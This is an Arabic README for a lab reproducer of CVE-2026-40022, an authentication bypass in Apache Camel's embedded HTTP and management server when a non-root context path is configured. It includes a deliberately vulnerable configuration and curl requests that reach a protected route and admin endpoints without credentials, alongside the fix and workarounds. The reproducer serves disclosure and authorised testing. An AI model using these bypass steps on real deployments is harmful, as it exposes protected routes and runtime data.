
مستنسخ لـ CVE-2026-40022: ثغرة تجاوز المصادقة في Apache Camel camel-platform-http-main على مسارات السياق غير الجذرية
يوضح هذا المشروع تجاوز المصادقة في مكون camel-platform-http-main الخاص بـ Apache Camel (خادم HTTP/الإدارة المضمن في بيئة تشغيل Camel main)، والمُتتبع باسم CVE-2026-40022. عند تمكين المصادقة وتكوين مسار سياق غير جذري (مثل /api أو /admin)، فإن معالج المصادقة يُغطي المسار الدقيق فقط، وبالتالي تصل الطلبات غير المصادقة إلى المسارات الفرعية، مما يوفر الوصول إلى المسارات المحمية ونقاط نهاية الإدارة.
إشعار: https://camel.apache.org/security/CVE-2026-40022.html
| الخاصية | القيمة |
|---|---|
| المكون | camel-platform-http-main (خادم HTTP/الإدارة المضمن في بيئة تشغيل Camel الرئيسية) |
| الفئات المتأثرة | BasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer |
| السبب الجذري | عند عدم تعيين authenticationPath، يتم اشتقاقه من camel.server.path؛ مع نموذج التركيب الفرعي لـ Vert.x، يطابق معالج المصادقة مسار السياق الدقيق فقط، وليس مساراته الفرعية |
| CWE | CWE-287: مصادقة غير صحيحة (تجاوز المصادقة) |
| التأثير | وصول غير مصادق إلى المسارات التجارية المحمية ونقاط نهاية الإدارة (مثل كشف بيانات وقت التشغيل في /observe/info) |
| الإصدارات المتأثرة | من 4.14.1 قبل 4.14.6، ومن 4.15.0 قبل 4.18.2 |
| الإصدارات المُصلحة | 4.14.6, 4.18.2, 4.20.0 |
| المُبلغ | Jihang Yu |
| طلبات السحب | apache/camel#22474 (الرئيسي), #22475 (4.18.x), #22476 (4.14.x) |
يقوم BasicAuthenticationConfigurer (و JWTAuthenticationConfigurer) بحل المسار الذي يحميه معالج المصادقة من properties.getAuthenticationPath()، مع الرجوع إلى properties.getPath() (مسار سياق camel.server.path) عندما لا يتم تعيينه صراحةً:
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());
يقوم خادم Vert.x بتركيب موجه فرعي عند <contextPath>* ويُسجل معالج المصادقة داخل ذلك الموجه الفرعي عند المسار المُحل. في الإصدارات المتأثرة، يكون المسار المُحل هو مسار السياق نفسه، لذا — بالنسبة للموجه الفرعي المثبت بالفعل عند /api — ينتهي الأمر بمعالج المصادقة لمطابقة /api/api بدلاً من كل مسار فرعي. ونتيجة لذلك:
/api/api (401) — المعالج موجود، لكن نطاقه خاطئ/api/hello (المسار التجاري الحقيقي) → يُخدم بدون بيانات اعتماديجعل الإصلاح resolveAuthenticationPath يُرجع /*، بحيث يُغطي المعالج جميع المسارات الفرعية للموجه الفرعي.
application.properties — مسار سياق غير جذري مع تمكين المصادقة وعدم تعيين authenticationPath:
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties
يتم تقديم المسار عند /api/hello.
لا حاجة لخدمة خارجية أو حاوية Docker — خادم HTTP الضعيف هو التطبيق نفسه.
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="vertx-web"
معالج BasicAuthHandler نشط — لكن نطاقه خاطئ بالنسبة للمسار الدقيق.
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
# hello-response (this is a PROTECTED business route)
في الإصدار المُصلح (4.14.6 / 4.18.2 / 4.20.0) يُرجع هذا 401 غير مصرح.
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
ينطبق نفس الخلل على خادم الإدارة (camel.management.path، مثل /admin). يصل طلب غير مصادق إلى مسار فرعي مثل /admin/observe/info إلى نقطة نهاية الإدارة، والتي يمكن أن تكشف بيانات وقت التشغيل: مستخدم نظام التشغيل، دليل العمل/المنزل، معرف العملية، ومعلومات JVM ونظام التشغيل.
camel-platform-http-main.camel.server.path / camel.management.path).camel.server.authenticationPath / camel.management.authenticationPath صراحةً.قم بالترقية إلى 4.14.6 / 4.18.2 / 4.20.0. يجعل الإصلاح (resolveAuthenticationPath) معالج المصادقة يُغطي كل مسار فرعي:
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
if (authenticationPath != null && !authenticationPath.isBlank()) {
return authenticationPath;
}
return "/*"; // was: the exact context path
}
حتى الترقية:
camel.server.authenticationPath = /* (و camel.management.authenticationPath = /*) بحيث يُغطي المعالج جميع المسارات الفرعية.CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Camel main runtime entry point
│ └── HelloRoute.java # a protected platform-http route (/api/hello)
└── resources/
├── application.properties # non-root path + auth enabled (the vulnerable config)
└── auth.properties # basic-auth user (camel / propertiesPass)
مُقدم هذا المُعيد للإنتاج لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة مُعلنة ومُصلحة علنًا. لا تستخدمه ضد أنظمة بدون إذن صريح.